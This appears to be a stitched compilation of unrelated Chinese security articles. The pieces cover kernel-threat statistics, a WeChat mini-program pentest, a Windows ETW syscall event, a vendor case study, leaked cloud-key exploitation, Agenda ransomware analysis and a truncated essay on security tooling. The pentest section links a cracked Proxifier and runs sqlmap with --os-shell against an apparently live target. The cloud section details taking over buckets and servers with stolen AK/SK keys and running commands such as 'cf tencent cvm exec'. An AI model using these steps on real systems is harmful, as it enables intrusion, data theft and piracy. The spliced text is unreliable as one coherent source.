根據我們的觀察,過去七年中公開報導的值得關注的威脅和其他重大事件的數量從2018年開始呈現穩步上升的趨勢。

1.png

2015年4月至2022年10月包含內核級威脅的公共情報報告數量

目前,影響Windows內核的最大數量的內核威脅仍然屬於第一個集群。在Windows 10引入的新的基於管理程序的防禦解決方案的採用率提高之前,該集群中的威脅數量預計會增加。隨著採用率的增長,預計首批集群威脅的數量將大幅減少。

2.png

2015年4月至2022年10月,三個集群的內核級威脅分佈情況

然而,數據顯示,在過去三年中,屬於第二和第三集群的威脅數量一直在增加。

3.png

2015年4月至2022年10月按集群分類的內核級威脅

由於開發成本較高,第二集群威脅不太常見。儘管在過去五年中,第二個集群威脅的數量有所增加,但由於Windows 10和11中的KMCS策略,預計會減少並最終停止。同時,屬於第三個集群的威脅是最不常見的,因為它們的複雜性。我們認為,隨著攻擊者將其最初的感染點提前轉移到逃避現代安全機制的過程中,第三集群威脅將在未來幾年緩慢增加。

我們還根據這些威脅的具體用例對其進行了分類。

4.png

2015年4月至2022年10月使用內核級惡意軟件的威脅類型

根據我們的分析,APT間諜惡意軟件在攻擊中使用的內核級組件最多。 APT組織以擁有資源在攻擊中使用隱秘組件(如內核rootkit和較低級別的植入)而聞名。

勒索軟件和加密貨幣挖礦威脅也在其攻擊中使用了大量內核級組件,這很可能避免被安全產品檢測到,因為它們會是否惡意有效負載並從受害者設備上竊取資源。

總結根據我們對內核級威脅數據的分析,高級和成熟的惡意行為者仍然並將繼續尋求對Windows操作系統的高權限訪問,以確保他們的攻擊被成功部署。由於端點保護平台(EPP)和端點檢測和響應(EDR)技術的有效性,攻擊者將遵循阻力最小的路徑,並讓他們的惡意代碼從內核或更低的級別運行。這就是為什麼,儘管屬於這三個集群的一些內核級威脅顯著減少,但我們相信低級別的威脅在未來不會完全過時。

另外,請關注我們將於2023年1月發布的研究文章《深入了解Windows内核威胁》 中對Windows內核威脅的全面分析。

网上大多数的小程序测试抓包都是用的安卓模拟器,这里使用的是BurpSuite+Proxifer+微信客户端的抓包方式

环境准备

Burp2023.9.2

Proxifier4.5

Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器,工作的网络程序能通过HTTPS或socks或代理链。其是收费软件,免费试用31天,这里给一个破解版链接

链接:https://pan.baidu.com/s/14QElyGxDpMBGTuCFTPl4tQ?pwd=7o50

提取码:7o50

图片1.png

安装就无脑next就好了,安装好后打开

图片2.png

点击注册,名字随便写,随便复制一个注册码点击ok即可

Proxifier配置

打开proxifier,点击profile添加一个代理服务器

图片3.png

图片4.png

地址127.0.0.1,端口自定义,我这里是8888,协议选择https

继续添加一条代理规则

在我们用微信打开小程序时,进程里会多出一个WeChatAppEx

图片5.png

这个程序就是微信小程序的进程

添加规则

图片7.png

Applications就选择小程序进程应用(这里可以手动输入),Action就选择刚刚新建的代理服务器

Burp配置

图片8.png

只要编辑代理监听器和proxifier里的代理服务器一样即可,监听127.0.0.1:8888

这时微信打开一个小程序,可以看到WeChatAppEx的流量先经过proxifier,再用过127.0.0.1:8888到burp
图片9.png

现在就可以像平时测试web站点一样的方式在burp里对数据包进行测试

小程序反编译

图片10.png

在微信的设置里面可以找到微信文件保存的位置

图片11.png

目录下的Applet就是小程序缓存文件的保存地址

图片12.png

平时使用的小程序越多,对应的文件也就越多,如果找不到自己想要测试的小程序包,可以根据修改日期来找,或者直接简单粗暴,删除所有的缓存文件,再重新打开你想要测试的小程序

图片13.png

这时里面的就是我们要测试小程序对应的缓存文件夹

点开里面就是我们要解的包

图片14.png

这是一个加密的包,当用户在微信中搜索或扫描小程序二维码后,微信后台会将该小程序的相关信息打包成 .wxapkg 文件并下发到用户的设备中,这种文件格式实际上是一个压缩包,其中包含了小程序的所有代码、资源和配置文件等内容,以及一个特定的描述文件 app.json。

由于是加密的包,所以先来解密,下面是大佬的解密工具链接

链接:https://pan.baidu.com/s/1BzfvBVwD4vLpakX9PAyrsg?pwd=qz3z

提取码:qz3z

图片15.png

选中加密的包

图片16.png

解密成功后在工具目录的wxpack目录下

图片17.png

接下来进行反编译

首先安装nodejs,下载链接https://nodejs.org/zh-cn/download/ ,安装就一直下一步就好了,安装好之后添加环境变量

图片18.png

加好环境变量后cmd输入命令会得到回显

图片19.png

接下来使用反编译工具wxappUnpacker

原链接https://github.com/system-cpu/wxappUnpacker

网盘链接:https://pan.baidu.com/s/19O2KDqWn2Zyars8AREJ1LQ?pwd=22qj

提取码:22qj

来到工具目录

安装

图片20.png

安装依赖

npm install esprima
npm install css-tree
npm install cssbeautify
npm install vm2
npm install uglify-es
npm install js-beautify
逐条执行以上命令

逐条执行以上命令

接下来反编译

执行命令

node wuWxapkg.js 解密后小程序的路径

图片21.png

图片22.png

执行完后会在被反编译的包的目录下生成一个目录

图片23.png

图片24.png

里面就是反编译过后得到的文件了

下载微信开发者工具

官网下载链接

https://servicewechat.com/wxa-dev-logic/download_redirect?type=win32_x64&from=mpwiki&download_version=1062308310&version_type=1

安装好后打开

图片25.png

点击加号

图片26.png

目录选择反编译后的目录,后端服务选择不使用云服务,点击确定

图片29.png

就可以查看小程序的js代码了

测试

点击发送验证码的功能

图片30.png

是/api/shop/ipad/login/sms路径

在代码里面找到发送功能的代码

图片31.png

发现只有/login/sms

现在基本确认了路径访问规则,将接口拼接到/api/shop/ipad之后,找其他接口拼接尝试有没有未授权

找一个首页的路径拼接

图片32.png

直接发包返回404

图片33.png

拼接/api/shop/ipad之后发包

图片34.png

可以确定路径是对了,但是不存在未授权,这一个路径不存在,并不完全代表所有接口都不存在,也许有那么几个接口漏掉了没做鉴权,就会造成未授权,信息泄露之类的

一不小心getshell

继续看刚刚发送验证码的接口,看看有没有短信轰炸之类的

图片35.png

访问/login/sms接口,并且以post方式接收mobile参数

构造包

图片36.png

输入一个不存在的手机号,显示手机号码有误

图片37.png

输入一个真实的也提示有误,有可能只有系统存在的账户手机号才有效

看到参数习惯性打个单引号

图片38.png

哦豁,再加个单引号

图片39.png

哦豁+1
看返回数据包可以判断出用的.net,个人觉得这个框架是很多注入的,尝试手注没有回显,sqlmap一把梭,https加上--force-ssl参数

图片40.png

成功跑出SQL注入,而且是堆叠注入,尝试--os-shell

图片41.png

 

转自于原文链接:https://forum.butian.net/share/2477

 

微軟最近的精力主要放在了Win11 22H2年度更新上了,正式版本預計要到明年9月底正式發布,現在已經大量推送。

近年來,微軟下大力緩解和修復特定的惡意軟件或漏洞,增加了大量的緩解措施,如零初始化池分配(zero-initialized pool allocation)、CET、XFG和最新的CastGuard,攻擊者利用漏洞變得越來越困難。最重要的是,通過ETW,特別是威脅情報ETW通道,可以提高對惡意軟件和利用技術的可見性。

在23H2預覽版本中,微軟推出了一個新的ETW事件,這次針對的是NT API,這些API可針對各種可疑行為。 Windows 事件跟踪(ETW) 提供了一種用於檢測用戶模式應用程序和內核模式驅動程序的機制。 Log Analytics 代理用於收集寫入到管理和操作ETW 通道的Windows 事件。 但是,有時需要捕獲和分析其他事件,例如寫入分析通道的事件。

系統調用使用可見性隨著這一新的變化,微軟將重點放在幾個系統調用上,這些調用通常不應該被許多應用程序使用,但可能會被漏洞利用,例如KASLR繞過、VM檢測或物理內存訪問。這個新事件所涉及的許多情況都已被限制為特權進程,有些需要為管理員或系統進程保留特權,有些則限制為低IL或不受信任的調用方。但是,試圖調用這些系統調用中的任何一個都可能表明存在可疑活動。

到目前為止,EDR檢測這類活動的唯一方法是將用戶模式掛鉤放置在洩漏內核指針的所有不同NtQuery函數中。但實踐證明,這並不理想。一段時間以來,微軟一直試圖讓EDR遠離用戶模式掛鉤,主要是通過添加ETW事件,允許EDR通過非侵入性方式使用相同的信息。

為了跟上這一趨勢,Windows 11 23H2向威脅情報頻道添加了一個新的ETW事件——THREATINT_PROCESS_SYSCALL_USEGE。生成此ETW事件是為了指示非管理員進程對API+信息類進行了API調用,該API調用可能會及時發現某些異常以及潛在的惡意活動。此事件將為兩個API中的信息類生成:

NtQuerySystemInformation;

NtSystemDebugControl;這些API有許多信息類,其中許多是“無害的”,並且通常被許多應用程序使用。為了避免發送不感興趣或無用的信息,以下信息類將生成ETW事件:

1.png

包含這些信息類的原因各不相同,有些會洩漏內核地址,有些可用於VM檢測,另一些用於硬件持久性,還有一些表示大多數應用程序不應具備的物理內存知識。總的來說,這一新事件包含了應用程序無法正常運行的各種指標。

每一種緩解措施都必須考慮潛在的性能影響,當在頻繁調用的代碼路徑中生成ETW事件時,可能會降低系統的速度。因此,有一些限制適用於此:

1.事件只會為用戶模式的非管理員調用者生成。由於Admin-內核不被認為是Windows上的邊界,因此許多緩解措施不應用於管理進程,以降低對系統的性能影響。

2.對於每個流程,每個信息類只生成一次事件。這意味著如果NtQuerySystemInformation被一個進程調用10次,並且都使用相同的信息類,那麼只會發送一個ETW事件。

3.只有在調用成功時才會發送事件,失敗的調用將被忽略,並且不會產生任何事件。

為了支持上述第2個限制並跟踪流程所涉及的信息類,EPROCESS結構中添加了一個新字段:

2.png

當一個流程第一次成功調用一個被監控的信息類時,將設置與該信息類對應的位,即使沒有為這些流程發送ETW事件,也會發生在管理流程上。 ETW事件僅在未設置位時發送,已確保每個類只發送一次事件。雖然沒有API來查詢這個EPROCESS字段,但它確實有一個很好的副作用,那就是留下每個進程使用哪些信息類的記錄——如果你分析一個系統,可以查看這些記錄,但前提是在系統中啟用了Syscall Usage事件,否則位不會被設置。

檢查數據目前還沒有啟用這個事件,也沒有人使用它,但我希望看到Windows Defender很快開始使用它,希望其他EDR也能使用。我手動啟用了這個事件,以查看這些“可疑的”API是否在常規設備上被使用,使用我的I/O環漏洞作為完整性測試,因為我知道它使用NtQuerySystemInformation洩漏內核指針。以下是正常執行幾分鐘後的一些結果:

3.png

顯然,有一些信息類在設備上使用非常頻繁,到目前為止主要的是SystemFirmwareTableInformation。這些常見的類可能會在早期被EDR忽略,因此更容易被濫用。

總結這是否意味著不再有基於API的KASLR繞過,或者所有現有漏洞都會立即被檢測到?當然不會。 EDR需要一段時間才能開始註冊和使用這些事件,特別是因為23H2將在明年秋天的某個時候正式發布,而大多數安全產品可能還需要一兩年的時間才能意識到這一事件的存在。由於此事件被發送到只有PPL才能註冊的威脅情報頻道,因此許多產品根本無法訪問此事件或其他與攻擊相關的事件。此事件將使EDR能夠獲取惡意進程進行的一些額外調用的信息,但這只是攻擊的其中一步,如果安全產品過於依賴它,無疑會導致許多誤報。無論如何,這一事件只涉及一些已知的指標,而其他許多指標則被忽略。

客戶端Cameyo是一家總部位於美國的VAD 服務提供商,在全球開展業務。該公司的VAD 平台為客戶提供了從任何地方在任何設備上安全訪問關鍵業務應用程序的權限,而無需VPN。

挑戰我們的客戶想知道如何保護虛擬應用程序交付平台,並確保在引入新功能的同時高效及時地支持他們的產品。他們希望通過這種方式滿足現有客戶的需求並吸引新客戶。他們正在尋找一支由經驗豐富的開發人員組成的團隊,他們可以適應快速變化的優先級和項目目標,同時保持所交付功能的整體質量。

方法在分析項目並與客戶討論可能的改進後,Apriorit 團隊集中精力實現關鍵的五個目標:

image.png

如何提升產品價值

我們將這些技術任務分為兩類:

通過修復我們的質量保證(QA) 專家發現的錯誤以及解決平台最終用戶報告的錯誤和錯誤來支持現有功能

研究和實施新功能,以增加產品對現有用戶和潛在新用戶的價值

為了滿足客戶的需求並提高產品的可行性,我們組建了一個團隊,其中包括一名項目經理(PM)、一名QA 專家和對C/C++、Go 和遠程桌面協議(RDP) 有深入了解的Windows 軟件專家).

image.png

VDA平台增強技術

結果Apriorit 團隊實施了多項功能,提高了Cameyo 的虛擬應用程序交付平台的安全性、性能和可用性。我們還引入了新的項目管理工具和方法來減少項目的管理開銷。此外,我們的專家對項目文檔進行了實時更新,確保更好地跟踪所有產品變更,並更容易實施進一步的產品改進。

如何做到的在我們多年的合作中,Apriorit 團隊執行了各種旨在幫助我們的客戶實現其目標的任務,從研究競爭對手和市場趨勢到構建新功能和測試VAD 平台的安全性。

以下是我們的團隊為Cameyo 平台實現的四個主要功能:

image.png

VDA 平台的新功能

讓我們詳細了解這些功能中的每一個。

1.掃描儀重定向Apriorit 開發人員實現了掃描儀重定向功能,並將其添加到用.NET 編寫的本機Cameyo 客戶端中。此功能將真實的掃描儀轉發到用戶的RDP 會話,使在遠程服務器上運行應用程序的用戶能夠像使用本地設備一樣使用選定的掃描儀。

我們面臨的主要挑戰之一是解決Cameyo 客戶端的權利限制問題,因為它沒有安裝在最終用戶的系統中。為了克服這些限制,在Cameyo 本機客戶端中,我們構建了一個自定義掃描儀客戶端,負責使用掃描儀。該客戶端的工作流程如下所示:

1. 在端點方面,我們的自定義掃描儀客戶端連接到遠程端點,使最終用戶能夠使用遠程掃描儀。該客戶端可以執行諸如向用戶轉發可用掃描儀列表、確認活動掃描儀的選擇以及傳輸支持的操作模式等操作。

2. 在服務器端,我們實現了一個自定義的TWAIN兼容提供程序,它也充當我們自定義掃描儀客戶端的服務器。使用此提供程序,我們將掃描儀控制命令從RDP 用戶會話傳遞到掃描儀客戶端,並將掃描數據發送回用戶。

我們基於用C 編寫的開源解決方案構建了自定義TWAIN 提供程序,為原始解決方案添加了對會話隔離的支持。由於本機Cameyo 客戶端已經為客戶端-服務器通信提供了一個活動的RDP 會話,因此在TWAIN 提供程序中,我們使用了虛擬Windows 終端服務器(WTS) 通道。

我們還改進了自定義掃描儀客戶端中的數據緩存,以提高轉換掃描圖像的速度,並實施了一個額外的適配器進程,使客戶端與x86 應用程序兼容。

最後,由於本地客戶端和我們的掃描器客戶端是用不同的語言編寫的,我們需要實現一個跨語言的RPC。為此,我們使用了Apache Thrift並創建了一個使用虛擬RDP 通道的附加傳輸層協議。

2.雲隧道為了實現與Cameyo 服務器的安全遠程連接,Apriorit 團隊實施了雲隧道功能。此功能用作將平台的最終用戶連接到Cameyo 服務器的雲節點,並提供一種安全的替代方法來設置用戶與服務器之間的直接連接。

開發此功能時,我們使用了兩種編程語言——Go 用於隧道服務,C 用於鱷梨醬修改。

由於Cameyo 的瀏覽器模塊使用Guacamole 來啟動瀏覽器會話,我們實現了將Guacamole 服務器轉變為客戶端的邏輯。這使我們即使在啟用防火牆的情況下也能建立安全連接。傳統配置在這種情況下不起作用。

我們還實現了一個自定義隧道服務,充當兩個連接客戶端之間的中介。在此服務中,我們實現了兩個服務器:

在我們的RPD 應用程序和瀏覽器之間建立連接

執行握手以交換設置

由於此功能,用戶可以在本地服務器上安全地操作會話,而無需使用入站防火牆端口或VPN 解決方案。

3.GFX模式Cameyo 平台的Web 客戶端依賴於Guacamole 模塊。雖然此模塊可確保不同Web 瀏覽器和操作系統的平台可用性,但Cameyo Web 客戶端中使用的Guacamole 版本相當慢。當最終用戶使用動態圖形內容時,這會損害平台的性能。

為應對這一挑戰,Apriorit 團隊實施了GFX 模式,提高了Cameyo 網絡客戶端在圖形應用程序方面的性能。

在研究可能的解決方案和實施GFX 模式時,我們與Cameyo 的內部團隊密切合作。 Cameyo 希望他們的Web 客戶端能夠以至少每秒30 幀(FPS) 且沒有偽像的高質量準確顯示視頻內容,從而使最終用戶能夠舒適地使用現代視頻編輯應用程序。

為實現這一目標,我們希望利用支持高清屏幕傳輸編解碼器(如avc444 或avc420)的可用RDP 功能。然而,Guacamole 協議不允許我們獲得我們想要的結果。

在尋找可能的解決方案時,我們評估了幾個選項並最終確定了一個簡單但看似有效的想法——將編碼圖形數據流從FreeRDP 重定向到瀏覽器並在那裡解碼。

為此,我們需要擴展Guacamole 協議,使其能夠傳輸使用H.264 編解碼器編碼的內容。在瀏覽器端,我們決定使用WebCodecs——一個內置的Chrome API,允許對音頻和視頻數據進行編碼和解碼。

我們開始研究從FreeRDP 獲取數據的可能方法,並尋找CPU/GPU 負載盡可能低的編解碼器。在對不同的編解碼器進行了一系列實驗之後,我們選擇了libx264——一種基於CPU 的H.264 編碼器,它使我們能夠處理高清視頻數據,而無需花費太多CPU 時間。

4.漸進式網絡應用我們實施的另一個功能是適用於ChromeOS 的漸進式網絡應用(PWA) 解決方案。此功能允許ChromeOS 上的最終用戶將Cameyo 網絡應用程序下載到他們的設備,以便更輕鬆、更快速地啟動遠程應用程序。

為介紹此功能,我們編寫了一個JavaScript 腳本來解決兩個任務:

1. 實現通過打開桌面應用程序訪問門戶的機制

2.緩存內容,加快門戶網站訪問速度

因此,最終用戶可以方便地使用Cameyo 網絡應用程序,甚至不需要打開他們的網絡瀏覽器。

挑戰與解決方案在開展該項目時,Apriorit 團隊成功應對了多項挑戰:

明確目標——這個項目進行了大量的實驗和調整,因為客戶對如何改進他們的產品有很多想法。為確保開發過程易於規劃和評估,我們幫助客戶將這些想法轉化為清晰、可衡量的規範。特別是,我們與客戶舉行了回顧會議,在會上我們評估了我們的進展並闡明了正在開發的功能的目標。

項目文檔的持續維護——我們需要在開發新產品功能的同時編寫和更新大量技術文檔。通過遵循Apriorit 的內部標準程序,我們能夠使所有項目文檔保持最新狀態,從而更輕鬆地跟踪對產品所做的所有更改並保持最終結果的高質量。

複雜的支持程序——由於平台的高度可定制性,我們很難重新創建和修復在特定定制環境中檢測到的錯誤。為了提高我們支持服務的效率,我們設計了一份標準問卷,由Cameyo 專家在收到最終用戶的支持請求時填寫。該調查問卷使我們能夠組織調試所需的信息,並提高支持的速度和效率。

項目管理開銷——最初,Aprioit 團隊的所有任務都在Trello 中分配,這使得項目管理過程既耗時又不明確。為了解決這些問題,我們將所有與項目相關的活動都轉移到了Jira。在配置關鍵流程、構建透明路線圖並建立迭代項目工作流程之後,我們能夠使雙方的開發流程更加高效和可預測。

前言

云平台作为降低企业资源成本的工具,在当今各大公司系统部署场景内已经成为不可或缺的重要组成部分,并且由于各类应用程序需要与其他内外部服务或程序进行通讯而大量使用凭证或密钥,因此在漏洞挖掘过程中经常会遇到一类漏洞:云主机秘钥泄露。此漏洞使攻击者接管云服务器的权限,对内部敏感信息查看或者删除等操作。此篇文章围绕如何发现秘钥泄露、拿到秘钥后如何利用展开。

0X01漏洞概述

ak、sk拿到后的利用,阿里云、腾讯云

云主机通过使用Access
Key Id / Secret Access Key加密的方法来验证某个请求的发送者身份。Access Key
Id(AK)用于标示用户,Secret Access Key(SK)是用户用于加密认证字符串和云厂商用来验证认证字符串的密钥,其中SK必须保密。

云主机接收到用户的请求后,系统将使用AK对应的相同的SK和同样的认证机制生成认证字符串,并与用户请求中包含的认证字符串进行比对。如果认证字符串相同,系统认为用户拥有指定的操作权限,并执行相关操作;如果认证字符串不同,系统将忽略该操作并返回错误码。

AK/SK原理使用对称加解密。

0x02秘钥泄露常见场景

通过上面描述我们知道云主机密钥如果泄露就会导致云主机被控制,危害很大。

在漏洞挖掘过程中常见的泄露场景有以下几种:

1、报错页面或者debug信息调试。

2、GITHUB关键字、FOFA等。

3、网站的配置文件

4、js文件中泄露

5、源码泄露。APK、小程序反编译后全局搜索查询。

6、文件上传、下载的时候也有可能会有泄露,比如上传图片、上传文档等位置。

7、HeapDump文件。

0x03实战举例

案例一:HeapDump文件中的ak\sk泄露

HeapDump文件是JVM虚拟机运行时内存的一个快照,通常用于性能分析等,但是因为其保存了对象、类等相关的信息,如果被泄露也会造成信息泄露。

1、Spring Actuator heapdump文件造成的秘钥泄露。

扫描工具:https://github.com/F6JO/RouteVulScan

解压工具:https://github.com/wyzxxz/heapdump_tool

访问某一网站时进行测试发现存在spring未授权,此时查看是否有heapdump文件,下载解压,全局搜索可发现秘钥泄露。

45p4lpfofmj13532.png

2、通过暴破路径的方式获取。

在文件存储位置会有一些敏感文件泄露,比如请求下载云服务器上某文件时候抓包分析。可以在请求位置暴破文件名,云服务器会返回带有访问秘钥的敏感文件。

ck1p0pvwkkz13533.png

得到文件地址后访问下载,下载后用工具爬取内容。发现泄露ak\sk

xjalztsouhu13534.png

工具链接:https://github.com/whwlsfb/JDumpSpider

案例二:Js文件泄露秘钥

使用工具:trufflehog

0levpmgdi2113535.png

访问某网站,使用插件trufflehog探测,会在Findings位置显示是否有密钥泄露。(网站采用异步加载也适用)

cldgxvgi0wr13536.png

3ec5kc3idrx13537.png

wot1k3to4jr13538.png

案例三:小程序上传等功能点泄露。

某小程序打开后在个人中心头像位置

wq2dnfismsz13539.png

点击头像抓包:

5nvvbnl51je13540.png

可以看到accesskeyid\acesskeysecret泄露。

渗透测试过程中可以多关注上传图片、下载文件、查看图片等等位置,说不定就有ak\sk泄露。

案例四:配置信息中的ak\sk泄露

常见的nacos后台配置列表,打开示例可以看到一些配置信息,可以看到有ak\sk泄露。

f40rzyohq5s13541.png

2w4gxs3pkfs13542.png

0x04漏洞利用

1、ak\sk接管存储桶。

使用工具或者云主机管理平台可以直接接管存储桶,接管桶后可以对桶内信息进行查看、上传、编辑、删除等操作。

OSS Browser--阿里云官方提供的OSS图形化管理工具

https://github.com/aliyun/oss-browser

buwh4pp0yww13543.png

pp0y3khwk4a13545.png

3du4rniwfzq13550.png

可以看到登入存储桶后可以查看、上传、删除、下载桶内文件,造成存储桶接管的危害。

腾讯云云主机接管平台:

https://cosbrowser.cloud.tencent.com/web/bucket

c2eesoezz2c13553.png

wxyetrf1g2z13558.png

行云管家(支持多家云主机厂商):

ve5ablv3ulg13563.png

可以选不同厂商的云主机导入。

ihurhksuquo13564.png

选择主机导入:

jnbcwimqebg13567.png

通过行云管家接管主机后,不仅可以访问OSS服务,还可以直接重置服务器密码,接管服务器。

y4qxnhoryge13568.png

1zi2uggpytn13573.png

可以对主机进行重启、暂停、修改主机信息等操作。

2、拿到ak\sk后可以尝试对主机进行命令执行。

CF 云环境利用框架

https://github.com/teamssix/cf/releases

hwxwqlf04ms13576.png

qzx1sa1u2lu13578.png

使用cf查看该主机可做的操作权限,可以看到能执行命令。

teryhnp2dtt13584.png

cf tencent cvm exec -c whoami等等。

详情参考:https://wiki.teamssix.com/CF/ECS/exec.html

针对阿里云主机rce

工具链接:https://github.com/mrknow001/aliyun-accesskey-Tools

输入ak\sk查询主机,选择主机名填入,查看云助手列表是true或者false,为true可执行命令。

lb2fq1yjw4v13589.png


转自原文链接: https://forum.butian.net/share/2376

今年,各種勒索軟件即服務組織相繼在Rust中開發了他們的勒索軟件版本,這其中就包括Agenda。 Agenda的Rust變體瞄準了一些重要行業。我們將在本文中介紹Rust變體的工作原理。今年,BlackCat、Hive和RansomExx等勒索軟件即服務(RaaS)組織開發了Rust版本的勒索軟件,Rust是一種跨平台語言,可以更容易地為Windows和Linux等不同的操作系統定制惡意軟件。在這篇文章中,我們介紹了另一個已經開始使用這種語言的勒索軟件組織Agenda(也稱為Qilin)。

根據我們在過去一個月的觀察,Agenda勒索軟件的活動包括在其洩露網站上發布許多公司的信息。攻擊者不僅聲稱他們能夠侵入這些公司的服務器,還威脅要公佈他們的文件。勒索軟件組織在其洩漏網站上發布的公司位於不同的國家,主要屬於製造業和IT行業,總收入超過5.5億美元。

最近,我們發現了一個用Rust語言編寫的Agenda勒索軟件樣本,檢測結果為Ransom.Win32.Agenda.THIAFBB。值得注意的是,同樣的勒索軟件最初是用Go語言編寫的,以針對泰國和印度尼西亞等國家的醫療和教育部門而聞名。攻擊者通過使用洩露的賬戶和唯一的公司ID等機密信息作為附加的文件擴展名,為目標受害者自定義了之前的勒索軟件二進製文件。 Rust變體還使用了間歇性加密,這是當今攻擊者用於更快加密和逃避檢測的新興策略之一。

1.png

VirusTotal中二進製文件的提交詳細信息,包括提交日期和上傳地區

2.png

BinText上顯示二進製文件使用的Rust模塊/函數的字符串

技術分析執行時,Rust二進製文件會提示以下錯誤,要求將密碼作為參數傳遞。這個命令行特性類似於用Golang編寫的Agenda勒索軟件二進製文件。

3.png

執行示例時的錯誤提示

在以“-password”作為參數並結合虛擬密碼“agenda apass”執行示例時,勒索軟件示例將從終止各種進程和服務開始運行其惡意例程。

4.png

終止應用程序和服務

針對我們分析的樣本,勒索軟件將擴展名“MmXReVIxLV”附加到加密文件中。它還在命令提示符上顯示活動日誌,包括已加密的文件和運行時間。

5.png

加密文件示例

6.png

加密文件中的日誌

然後,勒索軟件將繼續在其加密的每個目錄上釋放其勒索通知。正如其勒索說明中所觀察到的,用於執行勒索軟件的密碼也將用作登錄勒索軟件組支持聊天網站的密碼。

7.png

勒索通知

勒索軟件分析不同於Agenda的Golang變體,它接受10個參數,Rust變體只接受3個參數:

8.png

Agenda勒索軟件Rust變體使用的參數

Rust變體在二進製文件中也包含硬編碼配置,就像以前在Golang中編譯的示例一樣。

9.png

包含配置的二進製文件內的函數

10.png

包含配置的字符串

它還在其配置中添加了-n、-p、fast、skip和step標誌,這些標誌在Golang變體配置中不存在,僅通過命令行參數使用。經過進一步分析,我們了解到這些標誌用於間歇性加密。這種策略使勒索軟件能夠根據標誌的值對文件進行部分加密,從而更快地加密受害者的文件。這種策略在勒索軟件攻擊者中越來越流行,因為它可以讓他們更快地加密,並避免嚴重依賴於讀/寫文件操作的檢測。

11.png

用於間歇加密的標誌

12.png

用於間歇加密的標誌

13.png

Agenda勒索軟件Golang變體接受的命令行參數

我們試圖使用其配置中的一些標誌來模擬其加密行為。對於這個模擬,我們使用一個填充“a”作為內容的虛擬文件。

對於快速模式:

值:1

14.png

快速標誌設置為1

加密字節:1*0x200000h,其中1是快速標誌中設置的值

15.png

0x200000h字節加密

對於N-P模式:

16.png

標誌設置為n=1; p=1

總大小=88082336字節,加密的字節數=1 *0x200000,h,其中1是n標誌中設置的值,跳過的字節數=880818字節(整個文件的1%),其中1是p標誌中設置的值。

17.png

加密字節的0x200000h

18.png

880818字節(相當於文件的1%)加密

除了用於不同加密模式的附加標誌之外,Rust變體還將AppInfo包括在要終止的服務列表中。它禁用了用戶帳戶控制(UAC),這是一項Windows功能,有助於防止惡意軟件以管理權限執行,從而導致無法以管理權限運行其他應用程序。

19.png

使用與service_CONTROL_stop等效的參數0x01停止服務的函數

20.png

用於使用等同於SERVICE_DISABLED的參數0x04禁用服務的函數

21.png

禁用AppInfo服務後,無法運行具有管理權限的應用程序

眾所周知,Agenda勒索軟件還可以為每個受害者部署自定義的勒索軟件,我們已經看到,它的Rust變體有一個分配的空間,用於在其配置中添加帳戶,主要用於權限升級。

22.png

在Agenda勒索軟件的Rust變體配置中分配的帳戶

要附加在加密文件上的文件擴展名在其配置中是硬編碼的。

23.png

要附加的文件擴展名

然而,與之前的Golang變體不同,攻擊者在Rust變體的配置中不包括受害者的憑據。後者的這一特性不僅可以阻止其他研究人員訪問勒索軟件的聊天支持網站,還可以在外部提供樣本時訪問攻擊者的對話。它還可以防止來自受害者之外的其他人的主動信息。

24.png

Agenda勒索軟件聊天支持網站

總結Agenda是一個新興的勒索軟件家族,最近一直針對醫療保健和教育行業等關鍵部門。目前,它的攻擊者似乎正在將他們的勒索軟件代碼遷移到Rust,因為最近的樣本仍然缺乏在用Golang變體編寫的原始二進製文件中看到的一些特徵。 Rust語言在攻擊者中越來越受歡迎,因為它更難分析,而且反病毒引擎的檢測率較低。

採用CNAS需要對我們保護應用程序和基礎架構的方式進行重大改變。轉變是一個旅程,每個組織都不相同,甚至同一組織的不同部分也不同。

雖然選擇正確的道路是由你的決定,但為了讓它正確,模式和最佳實踐已經開始出現。在本文中,我提出了幾個可以考慮打破現狀的領域,以及如何打破現狀。

重新思考工具除了組織架構的改變,CNAS和“開發優先”還需要重新評估你的工具包。鑑於這種新視角,你應該重新考慮在技術解決方案中尋找的最重要特徵,以及你希望如何捆綁工具。

有很多方法可以重新評估工具,但我建議關註三個主要領域:開發工具採用、平台範圍和治理方法。

開發人員工具口徑如果我們的目標是讓開發人員在日常工作中能夠構建安全性,我們需要確保為他們提供針對該目標進行優化的工具。如果你購買專為審計人員設計的解決方案並要求開發人員使用它們,那麼你不太可能取得成功。

不出所料,開發人員習慣於使用開發人員慣用的工具。這些工具代表了整個行業,圍繞著什麼是優秀的開發者工具這一主題,已經在行業內發展了自己的最佳實踐。為了幫助你選擇開發人員將採用的安全解決方案,你應該根據開發者工具最佳實踐評估這些工具,並了解它們的表現如何。

以下是優秀的開發者工具的一些常見特徵:

成功的自助服務採用實際上,所有成功的開發工具都具有出色的自助服務用法,包括輕鬆的上手培訓、直觀的工作流程和出色的文檔。這是開發人員喜歡使用工具的方式,它迫使供應商確保他們的工具與開發人員相關,而無需銷售人員推動它。除非你想成為向開發人員推廣工具的銷售人員,否則請尋找具有開發人員自助服務採用的良好記錄的工具。

無縫集成到工作流程中在大多數情況下,開發工具經常與開發人員打交道,而不是要求他們再打開另一個工具。它們優雅地集成到其IDE、Git和研發管道中,並在正確的時間點提供價值。集成不僅僅是技術鉤子;他們需要適應工作流程和最佳實踐,否則將被拒絕採用。

豐富的API和自動化友好雖然需要固執己見的集成才能開始,但開發工具也必須是瑞士軍刀。豐富的API和自動化友好的客戶端(CLI/軟件開發工具包[SDK])是強制性的,既可以將該工具調整到每個管道,又允許社區在其上進行構建。如果你不能在工具上構建,它就不是一個偉大的開發工具。

開源和社區採用開發人員希望其他開發人員來驗證工具的可信度,而開源採用是最好的指標。看到開源項目集成了安全工具或基於此構建的開源項目,這些都是很好的開發人員社區驗證。在檢查安全工具時,檢查它在開源中的採用情況並得出自己的結論。

這些只是眾多開發工具最佳實踐中的一小部分。如果你想了解更多關於開發優先安全性的特定安全建議,請繼續往下看。此外,在評估任何工具時,請確保讓實際的應用程序開發人員參與進來,以便從現實生活中了解它與周圍環境的契合程度(如下圖所示)。

ce0ff4b0-0eee-4791-b04a-0cd56b885b79.png

開發人員友好的安全工具示例

平台範圍當前主流的AST平台主要關注自定義代碼,也許還有應用使用的開源庫。工具套件主要由SAST、DAST和IAST組成,最近又添加了SCA。當你擁抱更廣泛的雲原生應用程序範圍時,請重新考慮平台的構成。

首先,讓我們考慮一下哪些工具從成為單一平台的一部分中受益。它們可以分為下面幾個部分:

